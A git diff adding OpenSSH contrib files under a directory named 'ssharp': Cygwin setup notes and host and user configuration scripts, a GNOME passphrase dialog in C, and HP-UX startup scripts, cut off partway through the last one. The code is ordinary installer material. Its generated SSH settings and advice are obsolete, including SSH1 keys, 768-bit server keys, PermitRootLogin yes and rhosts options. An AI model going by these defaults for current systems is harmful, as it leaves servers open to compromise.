automatically. + --passphrase -p word Use "word" as passphrase automatically. + +Install sshd as daemon via SRVANY.EXE (recommended on NT/W2K), via inetd +(results in very slow deamon startup!) or from the command line (recommended +on 9X/ME). + +If starting via inetd, copy sshd to eg. /usr/sbin/in.sshd and add the +following line to your inetd.conf file: + +sshd stream tcp nowait root /usr/sbin/in.sshd sshd -i + +Moreover you'll have to add the following line to your +${SYSTEMROOT}/system32/drivers/etc/services file: + + sshd 22/tcp #SSH daemon + +Authentication to sshd is possible in one of two ways. +You'll have to decide before starting sshd! + +- If you want to authenticate via RSA and you want to login to that + machine to exactly one user account you can do so by running sshd + under that user account. You must change /etc/sshd_config + to contain the following: + + RSAAuthentication yes + + Moreover it's possible to use rhosts and/or rhosts with + RSA authentication by setting the following in sshd_config: + + RhostsAuthentication yes + RhostsRSAAuthentication yes + +- If you want to be able to login to different user accounts you'll + have to start sshd under system account or any other account that + is able to switch user context. Note that administrators are _not_ + able to do that by default! You'll have to give the following + special user rights to the user: + "Act as part of the operating system" + "Replace process level token" + "Increase quotas" + and if used via service manager + "Logon as a service". + + The system account does of course own that user rights by default. + + Unfortunately, if you choose that way, you can only logon with + NT password authentification and you should change + /etc/sshd_config to contain the following: + + PasswordAuthentication yes + RhostsAuthentication no + RhostsRSAAuthentication no + RSAAuthentication no + + However you can login to the user which has started sshd with + RSA authentication anyway. If you want that, change the RSA + authentication setting back to "yes": + + RSAAuthentication yes + +Please note that OpenSSH does never use the value of $HOME to +search for the users configuration files! It always uses the +value of the pw_dir field in /etc/passwd as the home directory. +If no home diretory is set in /etc/passwd, the root directory +is used instead! + +You may use all features of the CYGWIN=ntsec setting the same +way as they are used by the `login' port on sources.redhat.com: + + The pw_gecos field may contain an additional field, that begins + with (upper case!) "U-", followed by the domain and the username + separated by a backslash. + CAUTION: The SID _must_ remain the _last_ field in pw_gecos! + BTW: The field separator in pw_gecos is the comma. + The username in pw_name itself may be any nice name: + + domuser::1104:513:John Doe,U-domain\user,S-1-5-21-... + + Now you may use `domuser' as your login name with telnet! + This is possible additionally for local users, if you don't like + your NT login name ;-) You only have to leave out the domain: + + locuser::1104:513:John Doe,U-user,S-1-5-21-... + +SSH2 server and user keys are generated by the `ssh-*-config' scripts +as well. + +SSH2 authentication similar to SSH1: + Add keys to ~/.ssh/authorized_keys2 +Interop. w/ ssh.com dsa-keys: + ssh-keygen -f /key/from/ssh.com -X >> ~/.ssh/authorized_keys2 +and vice versa: + ssh-keygen -f /privatekey/from/openssh -x > ~/.ssh2/mykey.pub + echo Key mykey.pub >> ~/.ssh2/authorization + +If you want to build from source, the following options to +configure are used for the Cygwin binary distribution: + +--prefix=/usr --sysconfdir=/etc --libexecdir='${exec_prefix}/sbin + +You must have installed the zlib, openssl and regex packages to +be able to build OpenSSH! + +Please send requests, error reports etc. to cygwin@sources.redhat.com. + +Have fun, + +Corinna Vinschen +Cygwin Developer +Red Hat Inc. diff --git a/other/ssharp/contrib/cygwin/ssh-host-config b/other/ssharp/contrib/cygwin/ssh-host-config new file mode 100644 index 0000000..70bbafd --- /dev/null +++ b/other/ssharp/contrib/cygwin/ssh-host-config @@ -0,0 +1,449 @@ +#!/bin/sh +# +# ssh-host-config, Copyright 2000, Red Hat Inc. +# +# This file is part of the Cygwin port of OpenSSH. + +# Subdirectory where the new package is being installed +PREFIX=/usr + +# Directory where the config files are stored +SYSCONFDIR=/etc + +# Subdirectory where an old package might be installed +OLDPREFIX=/usr/local +OLDSYSCONFDIR=${OLDPREFIX}/etc + +progname=$0 +auto_answer="" +port_number=22 + +request() +{ + if [ "${auto_answer}" = "yes" ] + then + return 0 + elif [ "${auto_answer}" = "no" ] + then + return 1 + fi + + answer="" + while [ "X${answer}" != "Xyes" -a "X${answer}" != "Xno" ] + do + echo -n "$1 (yes/no) " + read answer + done + if [ "X${answer}" = "Xyes" ] + then + return 0 + else + return 1 + fi +} + +# Check options + +while : +do + case $# in + 0) + break + ;; + esac + + option=$1 + shift + + case "$option" in + -d | --debug ) + set -x + ;; + + -y | --yes ) + auto_answer=yes + ;; + + -n | --no ) + auto_answer=no + ;; + + -p | --port ) + port_number=$1 + shift + ;; + + *) + echo "usage: ${progname} [OPTION]..." + echo + echo "This script creates an OpenSSH host configuration." + echo + echo "Options:" + echo " --debug -d Enable shell's debug output." + echo " --yes -y Answer all questions with \"yes\" automatically." + echo " --no -n Answer all questions with \"no\" automatically." + echo " --port -p sshd listens on port n." + echo + exit 1 + ;; + + esac +done + +# Check for running ssh/sshd processes first. Refuse to do anything while +# some ssh processes are still running + +if ps -ef | grep -v grep | grep -q ssh +then + echo + echo "There are still ssh processes running. Please shut them down first." + echo + exit 1 +fi + +# Check for ${SYSCONFDIR} directory + +if [ -e "${SYSCONFDIR}" -a ! -d "${SYSCONFDIR}" ] +then + echo + echo "${SYSCONFDIR} is existant but not a directory." + echo "Cannot create global configuration files." + echo + exit 1 +fi + +# Create it if necessary + +if [ ! -e "${SYSCONFDIR}" ] +then + mkdir "${SYSCONFDIR}" + if [ ! -e "${SYSCONFDIR}" ] + then + echo + echo "Creating ${SYSCONFDIR} directory failed" + echo + exit 1 + fi +fi + +# Check for an old installation in ${OLDPREFIX} unless ${OLDPREFIX} isn't +# the same as ${PREFIX} + +old_install=0 +if [ "${OLDPREFIX}" != "${PREFIX}" ] +then + if [ -f "${OLDPREFIX}/sbin/sshd" ] + then + echo + echo "You seem to have an older installation in ${OLDPREFIX}." + echo + # Check if old global configuration files exist + if [ -f "${OLDSYSCONFDIR}/ssh_host_key" ] + then + if request "Do you want to copy your config files to your new installation?" + then + cp -f ${OLDSYSCONFDIR}/ssh_host_key ${SYSCONFDIR} + cp -f ${OLDSYSCONFDIR}/ssh_host_key.pub ${SYSCONFDIR} + cp -f ${OLDSYSCONFDIR}/ssh_host_dsa_key ${SYSCONFDIR} + cp -f ${OLDSYSCONFDIR}/ssh_host_dsa_key.pub ${SYSCONFDIR} + cp -f ${OLDSYSCONFDIR}/ssh_config ${SYSCONFDIR} + cp -f ${OLDSYSCONFDIR}/sshd_config ${SYSCONFDIR} + fi + fi + if request "Do you want to erase your old installation?" + then + rm -f ${OLDPREFIX}/bin/ssh.exe + rm -f ${OLDPREFIX}/bin/ssh-config + rm -f ${OLDPREFIX}/bin/scp.exe + rm -f ${OLDPREFIX}/bin/ssh-add.exe + rm -f ${OLDPREFIX}/bin/ssh-agent.exe + rm -f ${OLDPREFIX}/bin/ssh-keygen.exe + rm -f ${OLDPREFIX}/bin/slogin + rm -f ${OLDSYSCONFDIR}/ssh_host_key + rm -f ${OLDSYSCONFDIR}/ssh_host_key.pub + rm -f ${OLDSYSCONFDIR}/ssh_host_dsa_key + rm -f ${OLDSYSCONFDIR}/ssh_host_dsa_key.pub + rm -f ${OLDSYSCONFDIR}/ssh_config + rm -f ${OLDSYSCONFDIR}/sshd_config + rm -f ${OLDPREFIX}/man/man1/ssh.1 + rm -f ${OLDPREFIX}/man/man1/scp.1 + rm -f ${OLDPREFIX}/man/man1/ssh-add.1 + rm -f ${OLDPREFIX}/man/man1/ssh-agent.1 + rm -f ${OLDPREFIX}/man/man1/ssh-keygen.1 + rm -f ${OLDPREFIX}/man/man1/slogin.1 + rm -f ${OLDPREFIX}/man/man8/sshd.8 + rm -f ${OLDPREFIX}/sbin/sshd.exe + rm -f ${OLDPREFIX}/sbin/sftp-server.exe + fi + old_install=1 + fi +fi + +# First generate host keys if not already existing + +if [ ! -f "${SYSCONFDIR}/ssh_host_key" ] +then + echo "Generating ${SYSCONFDIR}/ssh_host_key" + ssh-keygen -t rsa1 -f ${SYSCONFDIR}/ssh_host_key -N '' > /dev/null +fi + +if [ ! -f "${SYSCONFDIR}/ssh_host_rsa_key" ] +then + echo "Generating ${SYSCONFDIR}/ssh_host_rsa_key" + ssh-keygen -t rsa -f ${SYSCONFDIR}/ssh_host_rsa_key -N '' > /dev/null +fi + +if [ ! -f "${SYSCONFDIR}/ssh_host_dsa_key" ] +then + echo "Generating ${SYSCONFDIR}/ssh_host_dsa_key" + ssh-keygen -t dsa -f ${SYSCONFDIR}/ssh_host_dsa_key -N '' > /dev/null +fi + +# Check if ssh_config exists. If yes, ask for overwriting + +if [ -f "${SYSCONFDIR}/ssh_config" ] +then + if request "Overwrite existing ${SYSCONFDIR}/ssh_config file?" + then + rm -f "${SYSCONFDIR}/ssh_config" + if [ -f "${SYSCONFDIR}/ssh_config" ] + then + echo "Can't overwrite. ${SYSCONFDIR}/ssh_config is write protected." + fi + fi +fi + +# Create default ssh_config from here script + +if [ ! -f "${SYSCONFDIR}/ssh_config" ] +then + echo "Generating ${SYSCONFDIR}/ssh_config file" + cat > ${SYSCONFDIR}/ssh_config << EOF +# This is ssh client systemwide configuration file. This file provides +# defaults for users, and the values can be changed in per-user configuration +# files or on the command line. + +# Configuration data is parsed as follows: +# 1. command line options +# 2. user-specific file +# 3. system-wide file +# Any configuration value is only changed the first time it is set. +# Thus, host-specific definitions should be at the beginning of the +# configuration file, and defaults at the end. + +# Site-wide defaults for various options + +# Host * +# ForwardAgent yes +# ForwardX11 yes +# RhostsAuthentication yes +# RhostsRSAAuthentication yes +# RSAAuthentication yes +# PasswordAuthentication yes +# FallBackToRsh no +# UseRsh no +# BatchMode no +# CheckHostIP yes +# StrictHostKeyChecking no +# Port 22 +# Protocol 2,1 +# Cipher 3des +# EscapeChar ~ + +# Be paranoid by default +Host * + ForwardAgent no + ForwardX11 no + FallBackToRsh no + +# Try authentification with the following identities + IdentityFile ~/.ssh/identity + IdentityFile ~/.ssh/id_rsa + IdentityFile ~/.ssh/id_dsa +EOF + if [ "$port_number" != "22" ] + then + echo "Host localhost" >> ${SYSCONFDIR}/ssh_config + echo " Port $port_number" >> ${SYSCONFDIR}/ssh_config + fi +fi + +# Check if sshd_config exists. If yes, ask for overwriting + +if [ -f "${SYSCONFDIR}/sshd_config" ] +then + if request "Overwrite existing ${SYSCONFDIR}/sshd_config file?" + then + rm -f "${SYSCONFDIR}/sshd_config" + if [ -f "${SYSCONFDIR}/sshd_config" ] + then + echo "Can't overwrite. ${SYSCONFDIR}/sshd_config is write protected." + fi + fi +fi + +# Create default sshd_config from here script + +if [ ! -f "${SYSCONFDIR}/sshd_config" ] +then + echo "Generating ${SYSCONFDIR}/sshd_config file" + cat > ${SYSCONFDIR}/sshd_config << EOF +# This is ssh server systemwide configuration file. + +Port $port_number +# +Protocol 2,1 +ListenAddress 0.0.0.0 +#ListenAddress :: +# +# Uncomment the following lines according to the used authentication +HostKey /etc/ssh_host_key +HostKey /etc/ssh_host_rsa_key +HostKey /etc/ssh_host_dsa_key +ServerKeyBits 768 +LoginGraceTime 600 +KeyRegenerationInterval 3600 +PermitRootLogin yes +# +# Don't read ~/.rhosts and ~/.shosts files +IgnoreRhosts yes +# Uncomment if you don't trust ~/.ssh/known_hosts for RhostsRSAAuthentication +#IgnoreUserKnownHosts yes +StrictModes yes +X11Forwarding no +X11DisplayOffset 10 +PrintMotd yes +KeepAlive yes + +# Logging +SyslogFacility AUTH +LogLevel INFO +#obsoletes QuietMode and FascistLogging + +RhostsAuthentication no +# +# For this to work you will also need host keys in /etc/ssh_known_hosts +RhostsRSAAuthentication no + +# To install for logon to different user accounts change to "no" here +RSAAuthentication yes + +# To install for logon to different user accounts change to "yes" here +PasswordAuthentication no + +PermitEmptyPasswords no + +CheckMail no +UseLogin no + +#Uncomment if you want to enable sftp +#Subsystem sftp /usr/sbin/sftp-server +#MaxStartups 10:30:60 +EOF +fi + +# Care for services file +_sys="`uname -a`" +_nt=`expr "$_sys" : "CYGWIN_NT"` +if [ $_nt -gt 0 ] +then + _wservices="${SYSTEMROOT}\\system32\\drivers\\etc\\services" + _wserv_tmp="${SYSTEMROOT}\\system32\\drivers\\etc\\srv.out.$$" +else + _wservices="${WINDIR}\\SERVICES" + _wserv_tmp="${WINDIR}\\SERV.$$" +fi +_services=`cygpath -u "${_wservices}"` +_serv_tmp=`cygpath -u "${_wserv_tmp}"` + +mount -t -f "${_wservices}" "${_services}" +mount -t -f "${_wserv_tmp}" "${_serv_tmp}" + +# Remove sshd 22/port from services +if [ `grep -q 'sshd[ \t][ \t]*22' "${_services}"; echo $?` -eq 0 ] +then + grep -v 'sshd[ \t][ \t]*22' "${_services}" > "${_serv_tmp}" + if [ -f "${_serv_tmp}" ] + then + if mv "${_serv_tmp}" "${_services}" + then + echo "Removing sshd from ${_services}" + else + echo "Removing sshd from ${_services} failed\!" + fi + rm -f "${_serv_tmp}" + else + echo "Removing sshd from ${_services} failed\!" + fi +fi + +# Add ssh 22/tcp and ssh 22/udp to services +if [ `grep -q 'ssh[ \t][ \t]*22' "${_services}"; echo $?` -ne 0 ] +then + awk '{ if ( $2 ~ /^23\/tcp/ ) print "ssh 22/tcp #SSH Remote Login Protocol\nssh 22/udp #SSH Remote Login Protocol"; print $0; }' < "${_services}" > "${_serv_tmp}" + if [ -f "${_serv_tmp}" ] + then + if mv "${_serv_tmp}" "${_services}" + then + echo "Added ssh to ${_services}" + else + echo "Adding ssh to ${_services} failed\!" + fi + rm -f "${_serv_tmp}" + else + echo "Adding ssh to ${_services} failed\!" + fi +fi + +umount "${_services}" +umount "${_serv_tmp}" + +# Care for inetd.conf file +_inetcnf="/etc/inetd.conf" +_inetcnf_tmp="/etc/inetd.conf.$$" + +if [ -f "${_inetcnf}" ] +then + # Check if ssh service is already in use as sshd + with_comment=1 + grep -q '^[ \t]*sshd' "${_inetcnf}" && with_comment=0 + # Remove sshd line from inetd.conf + if [ `grep -q '^[# \t]*sshd' "${_inetcnf}"; echo $?` -eq 0 ] + then + grep -v '^[# \t]*sshd' "${_inetcnf}" >> "${_inetcnf_tmp}" + if [ -f "${_inetcnf_tmp}" ] + then + if mv "${_inetcnf_tmp}" "${_inetcnf}" + then + echo "Removed sshd from ${_inetcnf}" + else + echo "Removing sshd from ${_inetcnf} failed\!" + fi + rm -f "${_inetcnf_tmp}" + else + echo "Removing sshd from ${_inetcnf} failed\!" + fi + fi + + # Add ssh line to inetd.conf + if [ `grep -q '^[# \t]*ssh' "${_inetcnf}"; echo $?` -ne 0 ] + then + if [ "${with_comment}" -eq 0 ] + then + echo 'ssh stream tcp nowait root /usr/sbin/sshd -i' >> "${_inetcnf}" + else + echo '# ssh stream tcp nowait root /usr/sbin/sshd -i' >> "${_inetcnf}" + fi + echo "Added ssh to ${_inetcnf}" + fi +fi + +if [ "${old_install}" = "1" ] +then + echo + echo "Note: If you have used sshd as service or from inetd, don't forget to" + echo " change the path to sshd.exe in the service entry or in inetd.conf." +fi + +echo +echo "Host configuration finished. Have fun!" diff --git a/other/ssharp/contrib/cygwin/ssh-user-config b/other/ssharp/contrib/cygwin/ssh-user-config new file mode 100644 index 0000000..5a76adb --- /dev/null +++ b/other/ssharp/contrib/cygwin/ssh-user-config @@ -0,0 +1,200 @@ +#!/bin/sh +# +# ssh-user-config, Copyright 2000, Red Hat Inc. +# +# This file is part of the Cygwin port of OpenSSH. + +progname=$0 +auto_answer="" +auto_passphrase="no" +passphrase="" + +request() +{ + if [ "${auto_answer}" = "yes" ] + then + return 0 + elif [ "${auto_answer}" = "no" ] + then + return 1 + fi + + answer="" + while [ "X${answer}" != "Xyes" -a "X${answer}" != "Xno" ] + do + echo -n "$1 (yes/no) " + read answer + done + if [ "X${answer}" = "Xyes" ] + then + return 0 + else + return 1 + fi +} + +# Check options + +while : +do + case $# in + 0) + break + ;; + esac + + option=$1 + shift + + case "$option" in + -d | --debug ) + set -x + ;; + + -y | --yes ) + auto_answer=yes + ;; + + -n | --no ) + auto_answer=no + ;; + + -p | --passphrase ) + with_passphrase="yes" + passphrase=$1 + shift + ;; + + *) + echo "usage: ${progname} [OPTION]..." + echo + echo "This script creates an OpenSSH user configuration." + echo + echo "Options:" + echo " --debug -d Enable shell's debug output." + echo " --yes -y Answer all questions with \"yes\" automatically." + echo " --no -n Answer all questions with \"no\" automatically." + echo " --passphrase -p word Use \"word\" as passphrase automatically." + echo + exit 1 + ;; + + esac +done + +# Ask user if user identity should be generated + +if [ ! -f /etc/passwd ] +then + echo '/etc/passwd is nonexistant. Please generate an /etc/passwd file' + echo 'first using mkpasswd. Check if it contains an entry for you and' + echo 'please care for the home directory in your entry as well.' + exit 1 +fi + +uid=`id -u` +pwdhome=`awk -F: '{ if ( $3 == '${uid}' ) print $6; }' < /etc/passwd` + +if [ "X${pwdhome}" = "X" ] +then + echo 'There is no home directory set for you in /etc/passwd.' + echo 'Setting $HOME is not sufficient!' + exit 1 +fi + +if [ ! -d "${pwdhome}" ] +then + echo "${pwdhome} is set in /etc/passwd as your home directory" + echo 'but it is not a valid directory. Cannot create user identity files.' + exit 1 +fi + +# If home is the root dir, set home to empty string to avoid error messages +# in subsequent parts of that script. +if [ "X${pwdhome}" = "X/" ] +then + # But first raise a warning! + echo 'Your home directory in /etc/passwd is set to root (/). This is not recommended!' + if request "Would you like to proceed anyway?" + then + pwdhome='' + else + exit 1 + fi +fi + +if [ -e "${pwdhome}/.ssh" -a ! -d "${pwdhome}/.ssh" ] +then + echo "${pwdhome}/.ssh is existant but not a directory. Cannot create user identity files." + exit 1 +fi + +if [ ! -e "${pwdhome}/.ssh" ] +then + mkdir "${pwdhome}/.ssh" + if [ ! -e "${pwdhome}/.ssh" ] + then + echo "Creating users ${pwdhome}/.ssh directory failed" + exit 1 + fi +fi + +if [ ! -f "${pwdhome}/.ssh/identity" ] +then + if request "Shall I create an SSH1 RSA identity file for you?" + then + echo "Generating ${pwdhome}/.ssh/identity" + if [ "${with_passphrase}" = "yes" ] + then + ssh-keygen -t rsa1 -N "${passphrase}" -f "${pwdhome}/.ssh/identity" > /dev/null + else + ssh-keygen -t rsa1 -f "${pwdhome}/.ssh/identity" > /dev/null + fi + if request "Do you want to use this identity to login to this machine?" + then + echo "Adding to ${pwdhome}/.ssh/authorized_keys" + cat "${pwdhome}/.ssh/identity.pub" >> "${pwdhome}/.ssh/authorized_keys" + fi + fi +fi + +if [ ! -f "${pwdhome}/.ssh/id_rsa" ] +then + if request "Shall I create an SSH2 RSA identity file for you? (yes/no) " + then + echo "Generating ${pwdhome}/.ssh/id_rsa" + if [ "${with_passphrase}" = "yes" ] + then + ssh-keygen -t rsa -N "${passphrase}" -f "${pwdhome}/.ssh/id_rsa" > /dev/null + else + ssh-keygen -t rsa -f "${pwdhome}/.ssh/id_rsa" > /dev/null + fi + if request "Do you want to use this identity to login to this machine?" + then + echo "Adding to ${pwdhome}/.ssh/authorized_keys2" + cat "${pwdhome}/.ssh/id_rsa.pub" >> "${pwdhome}/.ssh/authorized_keys2" + fi + fi +fi + +if [ ! -f "${pwdhome}/.ssh/id_dsa" ] +then + if request "Shall I create an SSH2 DSA identity file for you? (yes/no) " + then + echo "Generating ${pwdhome}/.ssh/id_dsa" + if [ "${with_passphrase}" = "yes" ] + then + ssh-keygen -t dsa -N "${passphrase}" -f "${pwdhome}/.ssh/id_dsa" > /dev/null + else + ssh-keygen -t dsa -f "${pwdhome}/.ssh/id_dsa" > /dev/null + fi + if request "Do you want to use this identity to login to this machine?" + then + echo "Adding to ${pwdhome}/.ssh/authorized_keys2" + cat "${pwdhome}/.ssh/id_dsa.pub" >> "${pwdhome}/.ssh/authorized_keys2" + fi + fi +fi + +echo +echo "Configuration finished. Have fun!" diff --git a/other/ssharp/contrib/gnome-ssh-askpass.c b/other/ssharp/contrib/gnome-ssh-askpass.c new file mode 100644 index 0000000..27e5cca --- /dev/null +++ b/other/ssharp/contrib/gnome-ssh-askpass.c @@ -0,0 +1,150 @@ +/* + * Copyright (c) 2000 Damien Miller. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +/* + * Compile with: + * + * cc `gnome-config --cflags gnome gnomeui` \ + * gnome-ssh-askpass.c -o gnome-ssh-askpass \ + * `gnome-config --libs gnome gnomeui` + * + */ + +#include +#include +#include +#include +#include +#include + +void +report_failed_grab (void) +{ + GtkWidget *err; + + err = gnome_message_box_new("Could not grab keyboard or mouse.\n" + "A malicious client may be eavesdropping on your session.", + GNOME_MESSAGE_BOX_ERROR, "EXIT", NULL); + gtk_window_set_position(GTK_WINDOW(err), GTK_WIN_POS_CENTER); + gtk_object_set(GTK_OBJECT(err), "type", GTK_WINDOW_POPUP, NULL); + + gnome_dialog_run_and_close(GNOME_DIALOG(err)); +} + +void +passphrase_dialog(char *message) +{ + char *passphrase; + char **messages; + int result, i; + + GtkWidget *dialog, *entry, *label; + + dialog = gnome_dialog_new("OpenSSH", GNOME_STOCK_BUTTON_OK, + GNOME_STOCK_BUTTON_CANCEL, NULL); + + messages = g_strsplit(message, "\\n", 0); + if (messages) + for(i = 0; messages[i]; i++) { + label = gtk_label_new(messages[i]); + gtk_box_pack_start(GTK_BOX(GNOME_DIALOG(dialog)->vbox), + label, FALSE, FALSE, 0); + } + + entry = gtk_entry_new(); + gtk_box_pack_start(GTK_BOX(GNOME_DIALOG(dialog)->vbox), entry, FALSE, + FALSE, 0); + gtk_entry_set_visibility(GTK_ENTRY(entry), FALSE); + gtk_widget_grab_focus(entry); + + /* Center window and prepare for grab */ + gtk_object_set(GTK_OBJECT(dialog), "type", GTK_WINDOW_POPUP, NULL); + gnome_dialog_set_default(GNOME_DIALOG(dialog), 0); + gtk_window_set_position (GTK_WINDOW(dialog), GTK_WIN_POS_CENTER); + gtk_window_set_policy(GTK_WINDOW(dialog), FALSE, FALSE, TRUE); + gnome_dialog_close_hides(GNOME_DIALOG(dialog), TRUE); + gtk_container_set_border_width(GTK_CONTAINER(GNOME_DIALOG(dialog)->vbox), + GNOME_PAD); + gtk_widget_show_all(dialog); + + /* Grab focus */ + XGrabServer(GDK_DISPLAY()); + if (gdk_pointer_grab(dialog->window, TRUE, 0, NULL, NULL, + GDK_CURRENT_TIME)) + goto nograb; + if (gdk_keyboard_grab(dialog->window, FALSE, GDK_CURRENT_TIME)) + goto nograbkb; + + /* Make close dialog */ + gnome_dialog_editable_enters(GNOME_DIALOG(dialog), GTK_EDITABLE(entry)); + + /* Run dialog */ + result = gnome_dialog_run(GNOME_DIALOG(dialog)); + + /* Ungrab */ + XUngrabServer(GDK_DISPLAY()); + gdk_pointer_ungrab(GDK_CURRENT_TIME); + gdk_keyboard_ungrab(GDK_CURRENT_TIME); + gdk_flush(); + + /* Report passphrase if user selected OK */ + passphrase = gtk_entry_get_text(GTK_ENTRY(entry)); + if (result == 0) + puts(passphrase); + + /* Zero passphrase in memory */ + memset(passphrase, '\0', strlen(passphrase)); + gtk_entry_set_text(GTK_ENTRY(entry), passphrase); + + gnome_dialog_close(GNOME_DIALOG(dialog)); + return; + + /* At least one grab failed - ungrab what we got, and report + the failure to the user. Note that XGrabServer() cannot + fail. */ + nograbkb: + gdk_pointer_ungrab(GDK_CURRENT_TIME); + nograb: + XUngrabServer(GDK_DISPLAY()); + gnome_dialog_close(GNOME_DIALOG(dialog)); + + report_failed_grab(); +} + +int +main(int argc, char **argv) +{ + char *message; + + gnome_init("GNOME ssh-askpass", "0.1", argc, argv); + + if (argc == 2) + message = argv[1]; + else + message = "Enter your OpenSSH passphrase:"; + + setvbuf(stdout, 0, _IONBF, 0); + passphrase_dialog(message); + return 0; +} diff --git a/other/ssharp/contrib/hpux/CVS/Entries b/other/ssharp/contrib/hpux/CVS/Entries new file mode 100644 index 0000000..d769d33 --- /dev/null +++ b/other/ssharp/contrib/hpux/CVS/Entries @@ -0,0 +1,6 @@ +/README/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/egd/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/egd.rc/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/sshd/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/sshd.rc/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +D diff --git a/other/ssharp/contrib/hpux/CVS/Repository b/other/ssharp/contrib/hpux/CVS/Repository new file mode 100644 index 0000000..d3223e2 --- /dev/null +++ b/other/ssharp/contrib/hpux/CVS/Repository @@ -0,0 +1 @@ +ssharp/contrib/hpux diff --git a/other/ssharp/contrib/hpux/CVS/Root b/other/ssharp/contrib/hpux/CVS/Root new file mode 100644 index 0000000..3811072 --- /dev/null +++ b/other/ssharp/contrib/hpux/CVS/Root @@ -0,0 +1 @@ +/cvs diff --git a/other/ssharp/contrib/hpux/CVS/Tag b/other/ssharp/contrib/hpux/CVS/Tag new file mode 100644 index 0000000..00329bf --- /dev/null +++ b/other/ssharp/contrib/hpux/CVS/Tag @@ -0,0 +1 @@ +Nrel-0-51 diff --git a/other/ssharp/contrib/hpux/README b/other/ssharp/contrib/hpux/README new file mode 100644 index 0000000..f8bfa84 --- /dev/null +++ b/other/ssharp/contrib/hpux/README @@ -0,0 +1,45 @@ +README for OpenSSH HP-UX contrib files +Kevin Steves + +sshd: configuration file for sshd.rc +sshd.rc: SSH startup script +egd: configuration file for egd.rc +egd.rc: EGD (entropy gathering daemon) startup script + +To install: + +sshd.rc: + +o Verify paths in sshd.rc match your local installation + (WHAT_PATH and WHAT_PID) +o Customize sshd if needed (SSHD_ARGS) +o Install: + + # cp sshd /etc/rc.config.d + # chmod 444 /etc/rc.config.d/sshd + # cp sshd.rc /sbin/init.d + # chmod 555 /sbin/init.d/sshd.rc + # ln -s /sbin/init.d/sshd.rc /sbin/rc1.d/K100sshd + # ln -s /sbin/init.d/sshd.rc /sbin/rc2.d/S900sshd + +egd.rc: + +o Verify egd.pl path in egd.rc matches your local installation + (WHAT_PATH) +o Customize egd if needed (EGD_ARGS and EGD_LOG) +o Add pseudo account: + + # groupadd egd + # useradd -g egd egd + # mkdir -p /etc/opt/egd + # chown egd:egd /etc/opt/egd + # chmod 711 /etc/opt/egd + +o Install: + + # cp egd /etc/rc.config.d + # chmod 444 /etc/rc.config.d/egd + # cp egd.rc /sbin/init.d + # chmod 555 /sbin/init.d/egd.rc + # ln -s /sbin/init.d/egd.rc /sbin/rc1.d/K600egd + # ln -s /sbin/init.d/egd.rc /sbin/rc2.d/S400egd diff --git a/other/ssharp/contrib/hpux/egd b/other/ssharp/contrib/hpux/egd new file mode 100644 index 0000000..21af0bd --- /dev/null +++ b/other/ssharp/contrib/hpux/egd @@ -0,0 +1,15 @@ +# EGD_START: Set to 1 to start entropy gathering daemon +# EGD_ARGS: Command line arguments to pass to egd +# EGD_LOG: EGD stdout and stderr log file (default /etc/opt/egd/egd.log) +# +# To configure the egd environment: + +# groupadd egd +# useradd -g egd egd +# mkdir -p /etc/opt/egd +# chown egd:egd /etc/opt/egd +# chmod 711 /etc/opt/egd + +EGD_START=1 +EGD_ARGS='/etc/opt/egd/entropy' +EGD_LOG= diff --git a/other/ssharp/contrib/hpux/egd.rc b/other/ssharp/contrib/hpux/egd.rc new file mode 100755 index 0000000..919dea7 --- /dev/null +++ b/other/ssharp/contrib/hpux/egd.rc @@ -0,0 +1,98 @@ +#!/sbin/sh + +# +# egd.rc: EGD start-up and shutdown script +# + +# Allowed exit values: +# 0 = success; causes "OK" to show up in checklist. +# 1 = failure; causes "FAIL" to show up in checklist. +# 2 = skip; causes "N/A" to show up in the checklist. +# Use this value if execution of this script is overridden +# by the use of a control variable, or if this script is not +# appropriate to execute for some other reason. +# 3 = reboot; causes the system to be rebooted after execution. + +# Input and output: +# stdin is redirected from /dev/null +# +# stdout and stderr are redirected to the /etc/rc.log file +# during checklist mode, or to the console in raw mode. + +umask 022 + +PATH=/usr/sbin:/usr/bin:/sbin +export PATH + +WHAT='EGD (entropy gathering daemon)' +WHAT_PATH=/opt/perl/bin/egd.pl +WHAT_CONFIG=/etc/rc.config.d/egd +WHAT_LOG=/etc/opt/egd/egd.log + +# NOTE: If your script executes in run state 0 or state 1, then /usr might +# not be available. Do not attempt to access commands or files in +# /usr unless your script executes in run state 2 or greater. Other +# file systems typically not mounted until run state 2 include /var +# and /opt. + +rval=0 + +# Check the exit value of a command run by this script. If non-zero, the +# exit code is echoed to the log file and the return value of this script +# is set to indicate failure. + +set_return() { + x=$? + if [ $x -ne 0 ]; then + echo "EXIT CODE: $x" + rval=1 # script FAILed + fi +} + +case $1 in +'start_msg') + echo "Starting $WHAT" + ;; + +'stop_msg') + echo "Stopping $WHAT" + ;; + +'start') + if [ -f $WHAT_CONFIG ] ; then + . $WHAT_CONFIG + else + echo "ERROR: $WHAT_CONFIG defaults file MISSING" + fi + + + if [ "$EGD_START" -eq 1 -a -x $WHAT_PATH ]; then + 